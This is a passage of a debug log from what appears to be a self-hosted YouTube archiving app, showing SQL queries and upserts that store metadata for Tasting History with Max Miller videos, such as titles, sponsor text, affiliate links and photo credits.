s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:17.246 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-13 00:00:00Z], 3] 02:51:17.252 [debug] QUERY OK source="media_items" db=6.0ms idle=1003.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "093163cd-c24b-4847-b489-b54cfdb6d384", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", false, false, 11, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].NA", false, false, 3, [], 98, ~U[2026-01-13 00:00:00Z], ~U[2026-03-29 06:51:17Z], ~U[2026-03-29 06:51:17Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", nil, false, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].NA", false, 3, ~U[2026-01-13 00:00:00Z]] 02:51:17.253 [debug] QUERY OK source="sources" db=0.2ms idle=547.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:17.253 [debug] QUERY OK source="media_profiles" db=0.3ms idle=9.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:17.254 [debug] QUERY OK source="media_items" db=0.2ms idle=9.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6875] 02:51:17.254 [debug] Current batch of media processed. Will check again in 1000ms 02:51:18.255 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].NA", "id" => "cQYswc4-dvU", "original_url" => "https://www.youtube.com/watch?v=cQYswc4-dvU", "playlist_index" => 12, "title" => "Beef Bourguignon for the French Peasants from 1885", "upload_date" => "20260106"} 02:51:18.256 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:18.256 [debug] QUERY OK source="sources" db=0.1ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:18.258 [debug] QUERY OK source="media_items" db=1.4ms idle=1003.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-06 00:00:00Z], 3] 02:51:18.260 [debug] QUERY OK source="media_items" db=1.3ms idle=1004.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "02ae841b-c727-45c3-a6a8-78fd5d1ad1ee", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", false, false, 12, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].NA", false, false, 3, [], 98, ~U[2026-01-06 00:00:00Z], ~U[2026-03-29 06:51:18Z], ~U[2026-03-29 06:51:18Z], "There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", nil, false, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].NA", false, 3, ~U[2026-01-06 00:00:00Z]] 02:51:18.260 [debug] QUERY OK source="sources" db=0.2ms idle=554.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:18.261 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:18.261 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6408] 02:51:18.262 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearma..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].NA", "id" => "1fDKx1CgcXs", "original_url" => "https://www.youtube.com/watch?v=1fDKx1CgcXs", "playlist_index" => 13, "title" => "Feeding A Roman Centurion - Pork & Puls", "upload_date" => "20251230"} 02:51:18.262 [debug] QUERY OK source="sources" db=0.3ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:18.262 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:18.264 [debug] QUERY OK source="media_items" db=1.3ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-30 00:00:00Z], 3] 02:51:18.266 [debug] QUERY OK source="media_items" db=1.3ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearma..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "881b52e8-6586-4e75-bff4-f6fabc73b951", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", false, false, 13, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].NA", false, false, 3, [], 98, ~U[2025-12-30 00:00:00Z], ~U[2026-03-29 06:51:18Z], ~U[2026-03-29 06:51:18Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearma..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", nil, false, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].NA", false, 3, ~U[2025-12-30 00:00:00Z]] 02:51:18.266 [debug] QUERY OK source="sources" db=0.2ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:18.267 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:18.267 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5927] 02:51:18.267 [debug] Current batch of media processed. Will check again in 1000ms 02:51:19.268 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthony..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15...\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... 